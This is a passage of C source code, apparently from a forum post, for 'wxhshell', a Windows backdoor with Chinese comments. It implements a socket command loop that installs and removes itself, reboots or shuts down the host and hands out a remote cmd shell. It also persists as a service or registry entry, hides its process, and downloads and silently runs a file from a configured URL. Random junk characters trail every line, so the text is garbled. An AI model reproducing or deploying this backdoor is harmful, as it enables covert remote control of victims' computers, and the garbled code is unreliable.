      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (]&B' 1b  
    break; "cjD-4 2  
  } " ;T a8  
  // 安装 HFF rS%  
  case 'i': { QuI!`/N)z  
    if(Install()) |f1^&97=+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&C8c\Y  
    else aZa1eE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $[Nf?`f(t_  
    break; 7zU~ X,  
    } U,fPG/9  
  // 卸载 vflC{,{=k>  
  case 'r': { >zw@!1{1  
    if(Uninstall()) hPGDN\#LD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " s_S!;w@  
    else <HS{A$]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MYz!zI  
    break; eAjR(\f>  
    } 63$`KG3  
  // 显示 wxhshell 所在路径 lZ2g CZ  
  case 'p': { ]-a/)8  
    char svExeFile[MAX_PATH]; [TqX"@4NS  
    strcpy(svExeFile,"\n\r"); u}_x   
      strcat(svExeFile,ExeFile); kJNg>SN*@#  
        send(wsh,svExeFile,strlen(svExeFile),0); usoyH0t!?  
    break; qx*b\6Rt  
    } [0kZyjCq@  
  // 重启 QG L~??  
  case 'b': { <m{#u4FC'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2\|sXC  
    if(Boot(REBOOT)) $$Ibr]$5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yzL9Ic  
    else { t@+e#3P!  
    closesocket(wsh); M _cm,|FF  
    ExitThread(0); 4@mJEi{  
    } Ik A~+6UY  
    break; W>&*.3{v  
    } 8NE[L#k  
  // 关机 H<g8u{ $  
  case 'd': { |DVFi2   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o"P)(;  
    if(Boot(SHUTDOWN)) K)Z~ iBRM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); At[SkG}b  
    else { 9oP  
    closesocket(wsh); a%6=sqxE  
    ExitThread(0); *J': U>p  
    } gA1j'!\6l9  
    break; \S?-[v*{  
    } fT?m~W^  
  // 获取shell > hGB o  
  case 's': { ~]<VEji  
    CmdShell(wsh); a?Y>hvI  
    closesocket(wsh); }&s |~  
    ExitThread(0); )MoHY   
    break; :iQJ9Hdz  
  } <1x u&Z7  
  // 退出 :8N by$#V  
  case 'x': { P+_1*lOG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VtU2&  
    CloseIt(wsh); M-+!z5 q~d  
    break; *qm>py`O  
    } =dQF}-{!  
  // 离开 P9S)7&+DL  
  case 'q': { gd7! +6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~qTChCXP  
    closesocket(wsh); ka(3ONbG  
    WSACleanup(); ={6vShG)m  
    exit(1); .+u r+" i  
    break; 2'Kh>c2  
        } qM 3(OvCt  
  } M A%g-}  
  } H3iYE~^#  
{S@, ,  
  // 提示信息 h+YPyeAs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wsAb8U C_  
} ku>Bxau4>  
  } 7[R`52pP  
ALInJ{X  
  return; 5RY-.c4}  
} i`}9VaUG  
r9D 68*H  
// shell模块句柄 *`Ge8?qC  
int CmdShell(SOCKET sock) *lheF>^  
{ NNJQDkO-I  
STARTUPINFO si; {D,- Whi  
ZeroMemory(&si,sizeof(si)); C9FAX$$^(Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <5h}\5#<j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c7tO'`q$e  
PROCESS_INFORMATION ProcessInfo; c@j3L23B  
char cmdline[]="cmd"; .~^A!t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /P/0\3TCi  
  return 0; o##!S6:A  
} E=,fdyj.  
P/k#([:2  
// 自身启动模式 3lS1WA   
int StartFromService(void) ;xai JJK{  
{ FysIN~  
typedef struct Gsm.a  
{ u:wf :^  
  DWORD ExitStatus; <<@F{B7h  
  DWORD PebBaseAddress; /7.//klN  
  DWORD AffinityMask; +*e Vi3  
  DWORD BasePriority; <0Gk:NB,  
  ULONG UniqueProcessId; -xyY6bxL  
  ULONG InheritedFromUniqueProcessId; ybIqn0&[  
}   PROCESS_BASIC_INFORMATION; d5=&:cF  
9El{>&Fs4  
PROCNTQSIP NtQueryInformationProcess; jF#Dc[*  
.8[uEQ_L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I-Hg6WtB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;1r|Bx<5  
}`76yH^c  
  HANDLE             hProcess; Wk }}f|O0  
  PROCESS_BASIC_INFORMATION pbi; ezm*9Jc~p  
>LVGNicQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xxC2 h3  
  if(NULL == hInst ) return 0; $B]_^  
g/w <T+v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |`AJP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C+Wa(K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @)ls+}=Y  
v++&%  
  if (!NtQueryInformationProcess) return 0; {~'Iu8TvZ  
O`9vEovjs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1V,DcolRY  
  if(!hProcess) return 0; sP>-k7K.  
v*OT[l7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ))7CqN  
S++jwP  
  CloseHandle(hProcess); d^5x@E_Td  
nM!_C-yX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dh68=F0  
if(hProcess==NULL) return 0; J7kqyo"  
a3Xd~Qs  
HMODULE hMod; {?}^HW9{  
char procName[255]; 5'|W(yR}  
unsigned long cbNeeded; ;[:IC^9fv  
.k,,PuP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JI&.d:  
$h  >rs  
  CloseHandle(hProcess); ~bw=;xF{3  
wF*9%K'E  
if(strstr(procName,"services")) return 1; // 以服务启动 m mH xPd  
+Ur75YPh  
  return 0; // 注册表启动 X#fjIrn  
} {s:"mkR  
Bf3 QB]9  
// 主模块 @oD2_D2  
int StartWxhshell(LPSTR lpCmdLine) NjO_Y t  
{ 7gRR/&ZK  
  SOCKET wsl; P9jSLM  
BOOL val=TRUE; qv<^%7gq  
  int port=0; rG%8ugap  
  struct sockaddr_in door; ZT<VDcP{  
~sNBklK  
  if(wscfg.ws_autoins) Install(); sH%Ts@Pl  
wZ_"@j<  
port=atoi(lpCmdLine); onIZ&wrk  
5>VX]nE3!  
if(port<=0) port=wscfg.ws_port; Z4sS;k]}  
MIqH%W.r u  
  WSADATA data; okO\A^F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]\/"-Y#4Q  
3sl6$NKo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9&Z+K'$=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xiqeKoAD  
  door.sin_family = AF_INET; Tsdgg?#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~1nKL0C6u  
  door.sin_port = htons(port); FyNm1QNy^  
D&OskM60  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ({cWb:+r  
closesocket(wsl); D"IxQ2}k  
return 1; )OK"H^}f  
} h%sw^;\!  
_SMi`ie#  
  if(listen(wsl,2) == INVALID_SOCKET) { ^-"tK:{  
closesocket(wsl); r,:acK  
return 1; ONF x -U]  
} mRxeob  
  Wxhshell(wsl); ^,`]Q)P^  
  WSACleanup(); UQbk%K2  
02-% B~oP  
return 0; lWUQkS  
eWr6@  
} p!\ GJ a",  
`r0lu_.$]4  
// 以NT服务方式启动 G7r.Jm^q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g`)0 wP  
{ l9 &L$,=  
DWORD   status = 0; Z tc\4  
  DWORD   specificError = 0xfffffff; (&X/n=UI  
KWM}VZY:Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7R,;/3wWjG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uz%ynH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zu94dFP  
  serviceStatus.dwWin32ExitCode     = 0;  6NSSuK3  
  serviceStatus.dwServiceSpecificExitCode = 0; d?V/V'T[  
  serviceStatus.dwCheckPoint       = 0; ^UFNds'q  
  serviceStatus.dwWaitHint       = 0; 0:c3aq&u  
gLK0L%"5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s}bLA>~Ta  
  if (hServiceStatusHandle==0) return; $lA dh  
>4os%T  
status = GetLastError(); ,V{Bpr  
  if (status!=NO_ERROR) '-3K`[  
{ "6v_<t`q"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n$E$@  
    serviceStatus.dwCheckPoint       = 0; hDc2T  
    serviceStatus.dwWaitHint       = 0; CZ =]0zB  
    serviceStatus.dwWin32ExitCode     = status; T # gx2Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Eel|)Z*Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b*4aUpW  
    return; r,Msg&rT  
  } 9WV8ZP  
PH'n`D #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XV,ce~ro[  
  serviceStatus.dwCheckPoint       = 0; IYa(B+nB)  
  serviceStatus.dwWaitHint       = 0; e*d lGK3l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A+FQmLS  
} ~yA^6[a=  
{aUv>T"c  
// 处理NT服务事件,比如:启动、停止 We'=/!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?a'EkZ.dB  
{ SL +\{V2  
switch(fdwControl) ]Rxrt~ ZB  
{  `YO&  
case SERVICE_CONTROL_STOP: 6o*'Q8h  
  serviceStatus.dwWin32ExitCode = 0; U /xzl4m6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L@f&71  
  serviceStatus.dwCheckPoint   = 0; ] v:"    
  serviceStatus.dwWaitHint     = 0; fA=Lb^,M  
  { ezri9\Ju  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {\|XuCF#  
  } fuWAw^&  
  return; vFeR)Ox's  
case SERVICE_CONTROL_PAUSE: GH&5m44   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *xpPD\{k  
  break; yh).1Q-D  
case SERVICE_CONTROL_CONTINUE: U!YoZ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s!1/Bm|_T  
  break; v?n# C  
case SERVICE_CONTROL_INTERROGATE: T7l,}G  
  break; p4kK" \ln  
}; 7Q,<h8N\5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R[TaP 7n  
} e)3Mg^  
6="o&!  
// 标准应用程序主函数 fG{3S:TQq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cv p#=x0  
{ ZVit] 3hd  
b{X.lz0  
// 获取操作系统版本 tCGA3t  
OsIsNt=GetOsVer(); $U(D*0+o/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <TS ps!(#  
:_+U[k(#  
  // 从命令行安装 gV*4{ d`  
  if(strpbrk(lpCmdLine,"iI")) Install(); -w'g0/fD  
::3[H$  
  // 下载执行文件 4#I=n~8a  
if(wscfg.ws_downexe) { KvI/!hl\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "cbJ{ G1pk  
  WinExec(wscfg.ws_filenam,SW_HIDE); `iEYq0}  
} &v9"lR=_k  
C;9P6^Oz  
if(!OsIsNt) { "j.Q*Hazg  
// 如果时win9x,隐藏进程并且设置为注册表启动 j J54<.D  
HideProc(); Wu l8ej:  
StartWxhshell(lpCmdLine); %{me<\(  
} f/Z-dM\e  
else vq@"y%C4  
  if(StartFromService()) "u{ymJ]t  
  // 以服务方式启动 @(."[O:  
  StartServiceCtrlDispatcher(DispatchTable); f<R 3ND)  
else W&m3"~BJ  
  // 普通方式启动 kHQn' r6  
  StartWxhshell(lpCmdLine); WMFn#.aY5  
;#*.@Or@Ah  
return 0; h645;sb0  
}
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只看该作者 1 发表于: 2006-10-10
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